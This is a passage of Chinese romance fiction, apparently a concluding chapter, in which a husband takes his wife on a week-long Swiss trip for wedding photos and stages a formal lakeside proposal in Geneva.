毗邻阿尔卑斯山的苏黎世; 被群山环绕的蓝色湖泊的卢塞恩; 湖光山色环绕,四季皆是景的日内瓦; 位阿尔卑斯山脚下的童话小镇格林德瓦; 有着“瑞士之光”的因特拉肯小镇、“日内瓦湖之花”的莫尔日小镇;依山傍水,被大片的葡萄梯田环抱的施皮茨小镇。 以及被誉为“欧洲屋脊”最接近天堂的地方:少女峰; 一柱擎天的欧洲群山之王:马特宏峰。 她用文字说:每一个地方都好想去呀! 那他就用行动回复她:每一个地方都带你去! 所以这趟瑞士之旅,囊括了江棠梨微博记录的这九个地方。 至于为什么会在日内瓦送她一个家,是因为巴尔扎克说那里是“爱情的同义词”。 但是昨晚江棠梨太过激动和兴奋,一夜都没怎么睡。所以今早刚一上飞机没多久,她就窝在陆时聿的怀里睡着了。 但是早上出门后,被江棠梨念叨了一路的难题还没有解决。 想了又想,陆时聿还是找到了楼昭。 一听要帮他招待客人,楼昭一个电话打了过来,怀里的人睡得正香,陆时聿几乎一秒迟疑都没有就挂断了。 「她在睡觉。」 楼昭听笑了,一连三条短信发过来—— 「你也知道这个时间人都在睡觉?」 「我是天天泡在实验室,但你别忘了,我也是持有楼安生物33%股份的最大股东!」 「让我当导游,你做梦呢吧?」 是有点委屈他这个未来肯定会持有,但目前还没能持有楼安生物33%股份的最大股东。 陆时聿:「是你嫂子最好的朋友,就是那天被你警告加威胁的女孩子。」 这条短信发过去,对话框里半天没动静。 困意容易被感染,再加上昨晚江棠梨睡不着,他也没怎么合眼。 陆时聿:「你要是不愿意我就找别人。」 楼昭这才回他:「她跟你说我威胁她的还是嫂子跟你说的?」 是谁说的,对陆时聿不重要,但对他而言,或许意义是不一样的。 以防万一被他存了侥幸,陆时聿回:「两人都说了。」 对话框里又陷入一阵死寂。 陆时聿这次没有再追回消息,手机被他摁灭后,他下巴在江棠梨的额头来回轻蹭了几下,刚一闭眼,指掌震动。 楼昭:「把她号码发我。」 陆时聿并没有方以柠的联系方式。 「你联系陈敬。」 楼昭:「我上辈子是不是欠了你的?」 以前不欠,但昨晚江棠梨去看男模秀的场地,是他楼昭提供的,陆时聿可不管他是有心还是无意,又或者直接还是间接。 陆时聿:「服务类行业,不提供好服务,难不成楼总真想砸了自己的招牌?」 消息发出去后,才看见自己一不小心打出的是问号,避免他回复,也避免未来几天被他打扰。 陆时聿:「未来一周,我不在国内,有事等我回来再说。」 不说还好,一听他人不在国内,楼昭几乎秒回:「你又去哪了?」 陆时聿没想到他会这么穷追不舍,闭了下眼后,他拿出仅剩的一点耐心:「出国,勿扰。」 楼昭这人,不喜欢别人给他发表情,但不影响他喜欢发,特别是一些特别能表达他当时无法用语言明说的—— 楼昭:「微笑」 楼昭:「再见」 两人的这趟瑞士之旅,知道的人并不多,除了双方家里的长辈之外,就只有李管家、陈敬和方以柠。 但是江棠梨的一条「日内瓦,我来啦!」的微博一发,这段时间被她攒的92万的粉丝全都知道了。 不过短短一个小时,点赞数就过了十万。 见她表情突然一僵,陆时聿问:“怎么了?” 不见她说话,却突然掰起手指头,陆时聿轻笑一声:“飞机落地是当地的凌晨一点。” “凌晨一点?”昨晚光兴奋了,完全没想到时间的问题。 江棠梨埋头又噘嘴:“还以为落地就能去玩呢!” 咕哝声听着委委屈屈的。 既是带她出来玩,当然要保证她的开心可以从头到尾。 陆时聿低头看她:“谁说晚上就不能出去玩了?” * 夜晚的苏黎世,浪漫而迷人,利马特河更是静谧而梦幻。 陆时聿牵着她的手,带她漫步在利马特河畔。 从认识她到现在,和她手牵手漫步的次数屈指可数,更别说是在夜深人静的异国他乡。 相比陆时聿静静地看着地上两双交叠的人影,江棠梨可谓是东张西望个不停。 像是第一次走出家门的孩子,处处都让她很新鲜。 怎能不新鲜,毕竟曾是她很向往,忍不住感叹「好想去啊」的地方。 两岸的灯光倒映在幽暗的水面上,波光粼粼。 江棠梨往不远处的河面上一指,“真的被你说中了,真的有天鹅诶!” 不仅有优雅的黑天鹅,因为近日恰逢当地的舞蹈节,他们还很幸运地看见了河面上漂浮的蜡烛。 没走多远就是河岸西侧的班霍夫大街。 这里有瑞士最顶级的商店,衣服、鞋子、皮毛,又或者首饰、珠宝和瓷器,应有尽有。 “好可惜,这个点都关门了。” 既然带她来,又怎么会让她失望回。 “说不定有那么几家店,在专程等我们陆太太呢?” 他既然能说这样的话,那就说明他提前有准备。 “看来陆总为了讨太太欢心,费了不少心思呢?” 陆时聿被她的拖腔带调惹笑:“如果能博陆太太一笑,费点心思又何妨。” 瞧瞧,现在多会说话。 江棠梨叹气:“突然有点怀念以前对我爱搭不理的陆总了!” “爱搭不理?”陆时聿失笑:“那你都能用爱搭不理来形容,那我对别的女人,”他皱了下眉:“我都不知道该怎么说了。” 他不知道,但江棠梨知道。 “一张脸写满了女人别碰我,说的就是你。” 但是陆时聿的注意力全在她往下撇的两边嘴角,看着好像很不认同。 “怎么,你还希望我碰——” 江棠梨立马用手指他:“你敢碰一下试试?” 她迅速给出的反应让陆时聿心情很是愉悦,但是 “那你跟我说说,前天晚上如果我没有出现,你会不会碰那个三号?” 江棠梨瞥他一眼,“我那就是看看。” “看看?”陆时聿冷哼一声:“我看你是有贼心没贼胆。” 江棠梨抱着他的胳膊晃了晃:“那陆总觉得,心重要还是胆重要?” 陆时聿低眸看她:“有些事,试一次就可以了。” 江棠梨“哼”他一声:“小气鬼!” 几句话的功夫就到了依旧开门营业的商店前。 只一眼,江棠梨就挣开了他的手。 陆时聿先是一愣,但是看着她跳着可爱的小碎步,又轻笑一声。 原来老公在漂亮的衣服鞋子面前也是不值一提的。 只是刚走到门口,老爷子电话打来。 “到了没有啊?” “到了爷爷。” “那你不知道跟我说一声,害我等了老半天。” 恍然想到两地的时差,陆时聿轻笑一声:“落地安全,您别担心。” 老爷子点了点头:“这几年你一直没有给自己放过假,正好趁着这机会放松一下,把梨梨给陪好了,多拍点漂亮的照片。” “好,那您早点休息。” 通电话的时间里,陆时聿一直都隔着玻璃门看着里面的人。 一手一个,左一眼右一眼,像是在纠结。 陆时聿走到门口,刚一推门就见她把手里的东西往身后一背。 “你、你别进来!” 竟然还吞吐上了。 陆时聿站在门口:“为什么不能进?” 江棠梨不说原因,原地一跺脚,“你就在门口等我一会儿嘛!” 娇都撒上了,陆时聿哪有再强行进去的理由。 安安静静地在门口等上一阵后,见她拎着一个黑色的小方袋走出来。 “买好了?” 江棠梨点头:“我们回去吧。” “回去?”陆时聿往旁边指了指:“还有几家店,不逛了?” 江棠梨摇头。 陆时聿却皱眉了:“奥古斯丁巷和圣彼得教堂都在这附近,不想去看看吗?” 当然想去。 可是再美的景都不及一直被她藏在心底没有问的婚纱照。 “太晚了,”江棠梨把她的小心思藏着露着:“明天不用早起嘛?” 当然不能像以前那样,让她睡到日上三竿,但也不至于像旅行团那样早到哈欠连天。 但是她望过来的眼神 陆时聿感觉自己懂了。 他把手递到她身前:“那我们回去。” 住的地方很近,就在阅兵广场,窗户一打开,就能俯瞰班霍夫大街。 陆时聿从正面抱着她躺在床上,见她眼睛透亮透亮的看不出丝毫困意。 “有时差吗?” 江棠梨抿了抿唇,想问,又想给自己留一个惊喜。 不过她欲言又止的表情太过明显。 “想知道明天的行程还是未来七——” “明天!” 原来她一直在等着。 陆时聿笑了笑:“明天我们先去劳特布龙嫩。” 江棠梨听说过这个地方,“是那个有着72道瀑布的地方?” 也是一个如同阿尔卑斯山雪水一样,纯净而永恒的地方。 陆时聿点头:“瀑布飞泻而下的时候,水雾折射阳光会形成彩虹。” 天呐,有婚纱,有彩虹,还有瀑布,江棠梨已经不敢想象自己会美成什么样。 于是,好奇便一发不可收拾。 “那后天呢?” “后天我们去格林瓦尔德。” 一个有着“绿野仙踪”般梦幻山坡的小镇,一个不缺浪漫又很震撼的地方。 “少女峰知道吗?” 江棠梨长长地“哦~”出一声:“那里呀!” 那里不仅有常年积雪的少女峰,还有艾格峰和悬挂在悬崖上的玻璃步道。 “那大后天呢?” “大后天我们去因特拉肯,坐过蒸汽船吗?” 江棠梨摇头:“所以,我们是要在蒸汽船上拍吗?” “当然。” “那大大后天呢?”江棠梨激动地抓住了他胸前的睡衣布料。 “大大后天,我们去卢塞恩。” 是一个浪漫的古城,有群山,有湖泊,有廊桥。 乘缆车登上瑞吉山顶,能俯瞰琉森湖与阿尔卑斯群峰。 江棠梨眼睛一眯,手一指:“你是不是想在缆车上拍?” “怎么一点都瞒不过你?” 他垂眸在笑,江棠梨抬着下巴在笑:“那当然了,也不看看我是谁?” “所以我们说到第几天了?” “接下来是第五天,”陆时聿说:“我们去马焦雷湖坐游艇,去莫尔日看四季鲜花,去施皮茨看大片的葡萄梯田。” 还有第六天的莱因河畔施泰因和第七天的日内瓦。 但是不等陆时聿说出他们的新家,那座占地三万多平米的古堡庄园时,怀里的人就已经睡着了。 嘴角有浅浅笑痕,像是带着他口述的画面进了梦乡。 而没有从他口中听到的画面,在第七天,在最后一缕夕阳沉入日内瓦湖的尽头,被陆时聿亲手送到了她面前。 湖水被残阳染成一片金,。私人码头两侧的水晶灯柱次第亮起,在微凉的夜风中摇曳出细碎的光晕。 身后是阿尔卑斯山的剪影,面前是铺满玫瑰花瓣的柚木甲板,而远处,能看见喷泉在草坪上划出银色的弧线。 江棠梨面露茫然:“我们今晚是要在这里夜拍吗?” 她刚一说完,G小调巴赫大提琴组曲从不远处传来,江棠梨刚一循声去看,数百架无人机从湖心岛升起,在夜空中拼出了她名字的首字母。 隐在湖边的悬铃木后的十二名弦乐手从树影里走出来。 与此同时,陆时聿也掏出那只装着9.9克拉粉色钻戒的丝绒方盒,单膝跪在了她面前。 盒子打开,主石四周的梨形钻石像一圈凝固的粉樱,绽放在她面前。 “江棠梨,你愿意嫁给我吗?” 心脏像是琴弓擦过羊肠弦的震颤,江棠梨整个人怔在原地。 许久许久,她唇角才浅浅张了张:“我、我们不是已经领过证了吗?” 对,他们已经是领了结婚证的合法夫妻,可是,他却欠了她一场郑重的求婚,包括这枚求婚戒指,也包括他此时跪下的膝盖。 所以,他又问了一遍:“江棠梨,你愿意嫁给我吗?” 日内瓦湖的波涛温柔地舔舐着码头立柱,淹没了她嗓子眼的那句“我愿意”。 蒙着厚厚一层雾气的眼底,就快要看不清他时,江棠梨噗嗤一声笑了。 “我还可以说不吗?” 沉重的钻石戒指套进她的无名指,陆时聿握紧着她的手。 “不能。” 他直起膝盖走到她面前,双手捧起她的脸。 “你听好了。” 他看着她的眼神里,全是认准她一人的坚定:“你江棠梨这辈子就只能嫁给我,这是必然,而非偶然。” ——完——